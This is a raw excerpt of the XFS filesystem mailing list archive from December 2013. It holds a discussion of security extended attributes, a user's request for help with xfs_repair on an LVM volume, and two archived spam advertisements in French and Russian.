MDAwMjQ2NjEgMDAwMDAgbg0KMDAwMDAyNDg5OSAwMDAwMCBuDQowMDAwMDI1MDU5IDAwMDAwIG4N CjAwMDAwMjUyODQgMDAwMDAgbg0KMDAwMDAyNTQ1MCAwMDAwMCBuDQowMDAwMDI1NjgwIDAwMDAw IG4NCjAwMDAwMjU4NTAgMDAwMDAgbg0KMDAwMDAyNjA5MCAwMDAwMCBuDQowMDAwMDI2MjY2IDAw MDAwIG4NCjAwMDAwMjY1MjQgMDAwMDAgbg0KMDAwMDAyNjcwNiAwMDAwMCBuDQowMDAwMDI2OTY4 IDAwMDAwIG4NCjAwMDAwMjcxNTUgMDAwMDAgbg0KMDAwMDAyNzQxNiAwMDAwMCBuDQowMDAwMDI3 NDcyIDAwMDAwIG4NCjAwMDAwMjc1MjYgMDAwMDAgbg0KMDAwMDAyODEzMiAwMDAwMCBuDQowMDAw MDI4MjkxIDAwMDAwIG4NCjAwMDAwMjg2OTIgMDAwMDAgbg0KMDAwMDAyODg1MSAwMDAwMCBuDQow MDAwMDI5MjUyIDAwMDAwIG4NCjAwMDAwMjk0MTEgMDAwMDAgbg0KMDAwMDAyOTgxMiAwMDAwMCBu DQowMDAwMDI5OTcxIDAwMDAwIG4NCjAwMDAwMzAzNzIgMDAwMDAgbg0KMDAwMDAzMDUzMSAwMDAw MCBuDQowMDAwMDMwOTMyIDAwMDAwIG4NCjAwMDAwMzEwOTEgMDAwMDAgbg0KMDAwMDAzMTQ5MiAw MDAwMCBuDQowMDAwMDMxNjUxIDAwMDAwIG4NCjAwMDAwMzIwNTIgMDAwMDAgbg0KMDAwMDAzMjIx MSAwMDAwMCBuDQowMDAwMDMyMzgyIDAwMDAwIG4NCjAwMDAwMzI2MjAgMDAwMDAgbg0KMDAwMDAz Mjc0OCAwMDAwMCBuDQowMDAwMDMyNzc4IDAwMDAwIG4NCjAwMDAwMzI5MzQgMDAwMDAgbg0KMDAw MDAzMzAwOCAwMDAwMCBuDQowMDAwMDMzMjU1IDAwMDAwIG4NCjAwMDAwMzM2NzIgMDAwMDAgbg0K MDAwMDAzNzU4NiAwMDAwMCBuDQowMDAwMDQyNjcwIDAwMDAwIG4NCjAwMDAwNDU1MzggMDAwMDAg bg0KMDAwMDA0NzI5NiAwMDAwMCBuDQowMDAwMDQ3NDc3IDAwMDAwIG4NCjAwMDAwNDc3MjEgMDAw MDAgbg0KMDAwMDA0Nzg2MyAwMDAwMCBuDQowMDAwMDQ3ODkzIDAwMDAwIG4NCjAwMDAwNDgwNjMg MDAwMDAgbg0KMDAwMDA0ODEzNyAwMDAwMCBuDQowMDAwMDQ4Mzk4IDAwMDAwIG4NCjAwMDAwNDg1 MzAgMDAwMDAgbg0KMDAwMDA0ODU2MCAwMDAwMCBuDQowMDAwMDQ4NzIwIDAwMDAwIG4NCjAwMDAw NDg3OTQgMDAwMDAgbg0KMDAwMDA0OTAzNCAwMDAwMCBuDQowMDAwMDUwMjM1IDAwMDAwIG4NCjAw MDAwNTI0NTQgMDAwMDAgbg0KMDAwMDA1NDIxMyAwMDAwMCBuDQowMDAwMDU1NzI5IDAwMDAwIG4N CjAwMDAwNjM4ODAgMDAwMDAgbg0KMDAwMDA2NDEyOCAwMDAwMCBuDQowMDAwMDY0MTU1IDAwMDAw IG4NCjAwMDAwNjQxODIgMDAwMDAgbg0KMDAwMDA2NDc1NyAwMDAwMCBuDQowMDAwMDY1MzE1IDAw MDAwIG4NCjAwMDAwOTUzMTIgMDAwMDAgbg0KMDAwMDA5NTMzOSAwMDAwMCBuDQowMDAwMTE0ODQ4 IDAwMDAwIG4NCjAwMDAxMTUzNjEgMDAwMDAgbg0KMDAwMDE0MzU0OSAwMDAwMCBuDQowMDAwMTQz NjQ2IDAwMDAwIG4NCjAwMDAxNjU4NDUgMDAwMDAgbg0KMDAwMDE2NTg3MiAwMDAwMCBuDQowMDAw MTY2MzE5IDAwMDAwIG4NCjAwMDAyMzI1MDEgMDAwMDAgbg0KMDAwMDIzMjg0OCAwMDAwMCBuDQow MDAwMjMzMDk1IDAwMDAwIG4NCjAwMDAyMzM0MDQgMDAwMDAgbg0KMDAwMDI4NTMzOSAwMDAwMCBu DQowMDAwMjg1MzkwIDAwMDAwIG4NCjAwMDAyODU4MjEgMDAwMDAgbg0KMDAwMDMwNTY1NiAwMDAw MCBuDQowMDAwMzA1OTA1IDAwMDAwIG4NCnRyYWlsZXINCjw8L1NpemUgOTMvUm9vdCAxIDAgUi9J bmZvIDY5IDAgUi9JRFs8QjM2ODhERDQzOUY1QkU0MDkwOTRFMzA3RjlDNkZDN0Q+PEIzNjg4REQ0 MzlGNUJFNDA5MDk0RTMwN0Y5QzZGQzdEPl0gPj4NCnN0YXJ0eHJlZg0KMzA2NDA5DQolJUVPRg0K eHJlZg0KMCAwDQp0cmFpbGVyDQo8PC9TaXplIDkzL1Jvb3QgMSAwIFIvSW5mbyA2OSAwIFIvSURb PEIzNjg4REQ0MzlGNUJFNDA5MDk0RTMwN0Y5QzZGQzdEPjxCMzY4OERENDM5RjVCRTQwOTA5NEUz MDdGOUM2RkM3RD5dIC9QcmV2IDMwNjQwOS9YUmVmU3RtIDMwNTkwNT4+DQpzdGFydHhyZWYNCjMw ODQyNw0KJSVFT0Y= ------=_Part_1547_923015540.1387094064322-- From samba@tlinx.org Sun Dec 15 08:22:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B0B207F52 for ; Sun, 15 Dec 2013 08:22:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9F40F8F804B for ; Sun, 15 Dec 2013 06:21:59 -0800 (PST) X-ASG-Debug-ID: 1387117316-04cb6c537b761c40001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id ldZGJ7gEx4TDbZfX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 15 Dec 2013 06:21:57 -0800 (PST) X-Barracuda-Envelope-From: samba@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBFELrdA005031 for ; Sun, 15 Dec 2013 06:21:55 -0800 Message-ID: <52ADBB00.8050707@tlinx.org> Date: Sun, 15 Dec 2013 06:21:52 -0800 From: "L.A. Walsh" User-Agent: Thunderbird MIME-Version: 1.0 To: xfs-oss Subject: Re: BTW - to xfs folk, 'security attr' doesn't seem very useful w/current copy policies References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> X-ASG-Orig-Subj: Re: BTW - to xfs folk, 'security attr' doesn't seem very useful w/current copy policies In-Reply-To: <52AB7CDC.5040801@tlinx.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1387117317 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143117 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/13/2013 1:32 PM, L.A. Walsh wrote: > On 12/13/2013 2:53 AM, Christoph Hellwig wrote: > > On Fri, Dec 13, 2013 at 12:39:40AM -0800, L.A. Walsh wrote: > > > >> Does it have to be under a "namespace" that gets *stripped* > >> as soon as the file is copied or "mv'd to another > >> samba share (i.e. the partition it was moved to is shared with the > >> same permissions as the first one. > > > > Attributes never get "stripped", they simple don't get copied unless > > explicit action is taken to do so. Setting trusted attributes up on a > > new file will of course rely privilegues, exactly for the reasons > > Jeremy pointed out. ----- For what purpose? As it stands the security namespace doesn't seem very useful -- i.e. the 'root' attrs get copied and/or moved on a file copy/rename which carries the access along with the file contents. But I fail to see the usefulness in having a security namespace that is dropped by default on copies or inter-partition moves. Shouldn't it follow along and be copied much as are the root namespace entries? It gets really confusing if a "proxy service" (ex. file server) for the user, stores attributes in that namespace thinking they will somehow be useful when the user accesses the file w/o the proxy service -- i.e. as a normal file. Was there a specific use-case for being able to tag files with security attrs that can't be copied, moved or renamed except by root that wouldn't better be served by signed or 'sealed' (encrypted) content? For most cases, it would seem that signing to detect tampering would be enough, though I can think of cases where sealing to prevent knowledge of who has what access would also be useful. Something to think about before others try to use the security field to store attrs they want kept with the content and not the inode. From pam=news-zetrend.com@mlgnusa.com Sun Dec 15 10:35:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 477CF7F52 for ; Sun, 15 Dec 2013 10:35:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 26E7A304032 for ; Sun, 15 Dec 2013 08:35:47 -0800 (PST) X-ASG-Debug-ID: 1387125339-04cbb0416975f8f0001-NocioJ Received: from mail10.mlgnusa.com (mail10.mlgnusa.com [194.19.244.217]) by cuda.sgi.com with ESMTP id vzWoM50DqGmDV0T3 for ; Sun, 15 Dec 2013 08:35:40 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.217 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=HRHzvf/tdrZ1r0kRaxdfTe1AXdQ=; b=FmYDVPir1wp58CtrTpcX4s74bHa+C51E1CxzL5jJUsM0iJYSnTE2m16PpULtGqvdhZrRrdbhIFc1 +5FZ3rKflblMpSDtSzXNHPKed7Y5Rpn0UXjZ7/ROeBIT+mtxTDTi2eojd0l0IpQ2p2bfonAhSJU4 TA9e/rK7bwN/rEcqsf0= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=fkcaQvddAizbPcJBzZhpA7HdLjOuKWnLxA61l1IwEr/vNj4Z/h2kC82er5/QxbYgoTxnD0J/5LvK vOKFweIibC41E3hEFGYUP5dEAhA6aMmdxjrIEVqpv4e4PFEyqvhSYgQSpMcAw3xJlL+UVdJJfHgI J/xJFzynxmC7NLQOOjk=; Received: by mail10.mlgnusa.com id hlnd5q1fblct for ; Sun, 15 Dec 2013 18:35:37 +0200 (envelope-from ) Date: Sun, 15 Dec 2013 18:30:22 +0200 To: From: =?utf-8?Q?Nocib=C3=A9_-_FWU?= Reply-To: =?utf-8?Q?Nocib=C3=A9_-_FWU?= Subject: =?utf-8?Q?Vos_achats_=C3=A0_moins_25_pourcent_livr=C3=A9s_pour_No=C3=ABl?= Message-ID: <7a7b9d0b305057b604b805f684a25842@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Vos_achats_=C3=A0_moins_25_pourcent_livr=C3=A9s_pour_No=C3=ABl?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID17a63da1d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.17a63da1 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.17a63da1 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=17a63da1&e=d09c0023 List-Unsubscribe: , Sender: "=?utf-8?Q?Nocib=C3=A9_-_FWU?=" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_8bab874d53a0ab26bb811aff2e9217ee" X-Barracuda-Connect: mail10.mlgnusa.com[194.19.244.217] X-Barracuda-Start-Time: 1387125340 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_8bab874d53a0ab26bb811aff2e9217ee Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Fusce augue magna, lacinia in tempor cursus, sollicitudin tempor leo. Sed consequat nunc a diam semper at suscipit ipsum pretium. Quisque dignissim nibh et enim ultricies rhoncus. In fringilla adipiscing neque, et lobortis augue volutpat eget. Quisque sagittis luctus lectus, at pellentesque dolor hendrerit ut. ========================================== Ce courriel a été envoyé par Nocibé - FWU à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=17a63da1&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=17a63da1&ln=fr --b1_8bab874d53a0ab26bb811aff2e9217ee Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit  
    Nocibé la beauté libérée -25% sur vos achats*
    valable en parfumeries et sur Nocibe.fr
    INSTITUT PARFUM MAQUILLAGE SOIN CHEVEUX HOMME MARQUES
    jusqu'au 22 décembre
    sur tous vos achats* : parfums, maquillage, soins
    > J'en PROFITE
    Pour en profiter rendez-vous :
    En parfumerie Nocibé :
    Imprimez cet email et présentez-le
    dans votre parfumerie Nocibé
    Sur nocibe.fr
    Saississez le code
    P54636
    lors de votre commande
    POUR ELLE
    PACO RABANNE
    LADY MILLION

    34,05€ au lieu de 45,40€
    >J'EN PROFITE
    NOCIBÉ
    LIKE PALETTE

    14,95€ au lieu de 19,90€
    >J'EN PROFITE
    Lancôme
    LA VIE EST BELLE

    39,90€ au lieu de 53,20€
    >J'EN PROFITE
    POUR LUI
    BOSS BOLLTLED BLACK XS
    HUGO BOSS
    BOSS BOTTLED

    30€ au lieu de 40€
    >J'EN PROFITE
    PACO RABANNE
    black Xs l’excès

    39,75€ au lieu de 53€
    >J'EN PROFITE
    Découvrir les produits
    Retrouvez Nocibé sur :
    Facebook Twitter Smartphone Youtube SERVICE CLIENT Nos 460 parfumeries
    Les plus Nocibé
    > Emballage cadeau
    offert
    > Livraison gratuite en
    24/48h dès 60€
    > Echantillons
    au choix
    > Echantillons
    au choix
    > Retrouvez toutes les parfumeries et institus Nocibé
    * Offre non cumulable, valable une fois du 9 au 22 décembre inclus, en saisissant le code P54636 dans votre panier ou sur présentation de l'email avec le code barre en parfumerie. Hors cartes cadeaux, cartes institut, prestations institut et emballages payants. Hors Dom-Tom. Sur présentation de la carte de fidélité Nocibé ou pour toute souscription de la carte de fidélité Nocibé. Offre valable dans les magasins participants. Livraison garantie avant Noël pour toute commande passée avant le 18 décembre midi.
    Ce courriel a été envoyé par Nocibé - FWU à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_8bab874d53a0ab26bb811aff2e9217ee-- From rafaelweingartner@gmail.com Sun Dec 15 16:47:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1318F7F3F for ; Sun, 15 Dec 2013 16:47:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 01789304048 for ; Sun, 15 Dec 2013 14:47:31 -0800 (PST) X-ASG-Debug-ID: 1387147650-04cb6c537d777dd0001-NocioJ Received: from mail-ve0-f172.google.com (mail-ve0-f172.google.com [209.85.128.172]) by cuda.sgi.com with ESMTP id RaX3hW3yajagG3Sr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 15 Dec 2013 14:47:31 -0800 (PST) X-Barracuda-Envelope-From: rafaelweingartner@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.172 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.172] Received: by mail-ve0-f172.google.com with SMTP id jw12so2839563veb.3 for ; Sun, 15 Dec 2013 14:47:30 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.172] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.172] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=Nkf4jE8rXBtZP1ptoCaM7R16qyB2Na7Nj77G9qNYf18=; b=x2PHex6SVeqEexPI5FXC7qa5a/89siG0irPSslGjTqVQ0zmjVTQeBfXRE3FdpzmT4s 3z2d77XD5HdcJW4VvhQGYW+IEQw6K9Q0q3F0SIZsd/83JA2U0OJdTxv08jm4d14fKPEB ik8MQFa7TismUlx9Jt7Mp4m2DjYE2BjwU8UzCIHqf5tDt4Q7HVMavEpKtZSzo/lsp9wa R85AfznL4iSu3rLv04MWkkDv2d4vH7jzwt554QfyM4RnNT0TtP9+GxOSQSb4dGJ6YUmh icbI+oeCO8zPZ9WKyEqXiDwdP4M2tt8GBWYh7z10O6grZaEvTUt6C+VeXF3QBtBVqWQL ZmRg== MIME-Version: 1.0 X-Received: by 10.220.184.70 with SMTP id cj6mr2624945vcb.23.1387147650304; Sun, 15 Dec 2013 14:47:30 -0800 (PST) Received: by 10.58.19.97 with HTTP; Sun, 15 Dec 2013 14:47:30 -0800 (PST) Date: Sun, 15 Dec 2013 20:47:30 -0200 Message-ID: Subject: XFS_REPAIR on LVM partition From: Rafael Weingartner X-ASG-Orig-Subj: XFS_REPAIR on LVM partition To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=089e0141a440f2905204ed9a7a62 X-Barracuda-Connect: mail-ve0-f172.google.com[209.85.128.172] X-Barracuda-Start-Time: 1387147650 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143126 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --089e0141a440f2905204ed9a7a62 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Hi folks, I am having some troubles with a XFS over one LVM partition. After an unexpected reboot, I am getting the following message when I try to mount it: *mount: Structure needs cleaning* I tried "sudo xfs_check /dev/mapper/volume". Sadly, I got the message: xfs_check: cannot init perag data (117) *ERROR: The filesystem has valuable metadata changes in a log which needs to* *be replayed. Mount the filesystem to replay the log, and unmount it before* *re-running xfs_check. If you are unable to mount the filesystem, then use= * *the xfs_repair -L option to destroy the log and attempt a repair.* *Note that destroying the log may cause corruption -- please attempt a mount* *of the filesystem before doing this* So, I tried: xfs_repair -L The command is running for over 3 hours and still just dots on my screen, I have no idea of what is happening. Any ideas how I can get it to work again? Or at least some work around that would enable me to extract the data that it contains. The server is a Ubuntu server 12.04. The XFS version is: xfs_info version 3.1.7 If you need I can provide you with more info. Thanks, --=20 Rafael Weing=E4rtner --089e0141a440f2905204ed9a7a62 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Hi folks,=A0
    I tried "sudo=A0xfs_check=A0/dev/mapper/volume". Sadly, I got the message:=
    xfs_check: cannot init perag data (117)
    ERROR: = The filesystem has valuable metadata changes in a log which needs to
    be replayed. =A0Mount the filesystem to replay the log,= and unmount it before
    re-running xfs_check. =A0If you are unable to mount the filesystem,= then use
    the xfs_repair -L option to destroy the log and = attempt a repair.
    Note that destroying the log may cause c= orruption -- please attempt a mount
    of the filesystem before doing this

    <= div>So, I tried:
    xfs_repair -L=A0

    The command is running for over 3 hours=A0and still just dots on my screen, = I have no idea of what is happening. Any ideas how I can get it to work aga= in? Or at least some work= =A0around that would enable me to extract the data that it contains.=

    The server is a Ubuntu server 12.04.
    Th= e XFS version is: xfs_info version 3.1.7
    If you need I can provid= e you with more info.

    Thanks,

    --
    Rafael Weing=E4rtner
    --089e0141a440f2905204ed9a7a62-- From agapova.katerina@webmagnet.com Sun Dec 15 17:53:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FORGED_OUTLOOK_TAGS, HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B6857F3F for ; Sun, 15 Dec 2013 17:53:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C78A4AC002 for ; Sun, 15 Dec 2013 15:53:35 -0800 (PST) X-ASG-Debug-ID: 1387151612-04cbb04169771440001-NocioJ Received: from mail.expokazan.ru (mail.expokazan.ru [83.151.2.99]) by cuda.sgi.com with SMTP id jBj4XiLdtClN26Op for ; Sun, 15 Dec 2013 15:53:33 -0800 (PST) X-Barracuda-Envelope-From: agapova.katerina@webmagnet.com X-Barracuda-Apparent-Source-IP: 83.151.2.99 Received: from Unknown ([186.130.44.204]) by mail.expokazan.ru ; Mon, 16 Dec 2013 03:53:21 +0400 Message-ID: <51FA380269264A90A78BB0A3A28E103C@qgmsxr> Reply-To: =?windows-1251?B?z+7s7vnt6Oog8PPq7uLu5Ojy5ev/IPHy8O7o?= =?windows-1251?B?8uXr/O3u6SDq7uzv4O3o6A==?= From: =?windows-1251?B?z+7s7vnt6Oog8PPq7uLu5Ojy5ev/IPHy8O7o?= =?windows-1251?B?8uXr/O3u6SDq7uzv4O3o6A==?= To: , , , Subject: =?windows-1251?B?6uDqIO707vDs6PL8IPDg5/Dl+OXt6OUg7eAg?= =?windows-1251?B?8fLw7ujy5ev88fLi7iDk7uzgPw==?= Date: Mon, 16 Dec 2013 00:53:03 +0100 X-ASG-Orig-Subj: =?windows-1251?B?6uDqIO707vDs6PL8IPDg5/Dl+OXt6OUg7eAg?= =?windows-1251?B?8fLw7ujy5ev88fLi7iDk7uzgPw==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0A91_01CEF9F9.2D0861A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mail.expokazan.ru[83.151.2.99] X-Barracuda-Start-Time: 1387151612 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_OUTLOOK_TAGS, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format This is a multi-part message in MIME format. ------=_NextPart_000_0A91_01CEF9F9.2D0861A0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0A92_01CEF9F9.2D0861A0" ------=_NextPart_001_0A92_01CEF9F9.2D0861A0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 =EF=F0= =EE=E9=F2=E8 =EE=E1=F3=F7=E5=ED=E8=E5 =EF=EE =EA=F3=F0=F1=F3:=20 =AB=C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2=C0=D6=C8=DE =CE=C1=DA=C5=CA=D2= =C0 =CA=C0=CF=C8=D2=C0=CB=DC=CD=CE=C3=CE =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1=D2= =C2=C0=BB, =EA=EE=F2=EE=F0=FB=E9 =EF=F0=EE=E9=E4=B8=F2 =E2 =D1=CF=C1 =E2 =EF=E5=F0=E8= =EE=E4 =F1 27.=CEl =EF=EE 28.=EEI =CF=EE =E2=EE=EF=F0=EE=F1=E0=EC =F3=F7=E0=F1=F2=E8=FF =E7=E2=EE=ED=E8=F2=E5= : 8 < 8I2 > 64_2 - 2I . =E72 =CF=D0=CE=C3=D0=C0=CC=CC=C0 =D1=C5=CC=C8=CD=C0=D0=C0: =D1=EE=E2=F0=E5=EC=E5=ED=ED=E0=FF =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED= =EE-=ED=EE=F0=EC=E0=F2=E8=E2=ED=E0=FF =E1=E0=E7=E0 =E8=ED=E2=E5=F1=F2=E8=F6= =E8=EE=ED=ED=EE-=F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =EF=F0=EE=F6=E5=F1= =F1=E0 =E2 =F2.=F7. =ED=EE=E2=FB=E9 =C3=F0=E0=E4=EE=F1=F2=F0=EE=E8=F2=E5=EB= =FC=ED=FB=E9 =CA=EE=E4=E5=EA=F1 =D0=D4 =E8 =E4=F0=F3=E3=E8=E5 =E4=EE=EA=F3= =EC=E5=ED=F2=FB. =C7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=EE=E5 =F0=E5=E3=F3= =EB=E8=F0=EE=E2=E0=ED=E8=E5 =E8 =EE=E1=F9=E0=FF =F5=E0=F0=E0=EA=F2=E5=F0=E8= =F1=F2=E8=EA=E0 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =EE=F2=ED=EE=F8=E5=ED=E8=E9= 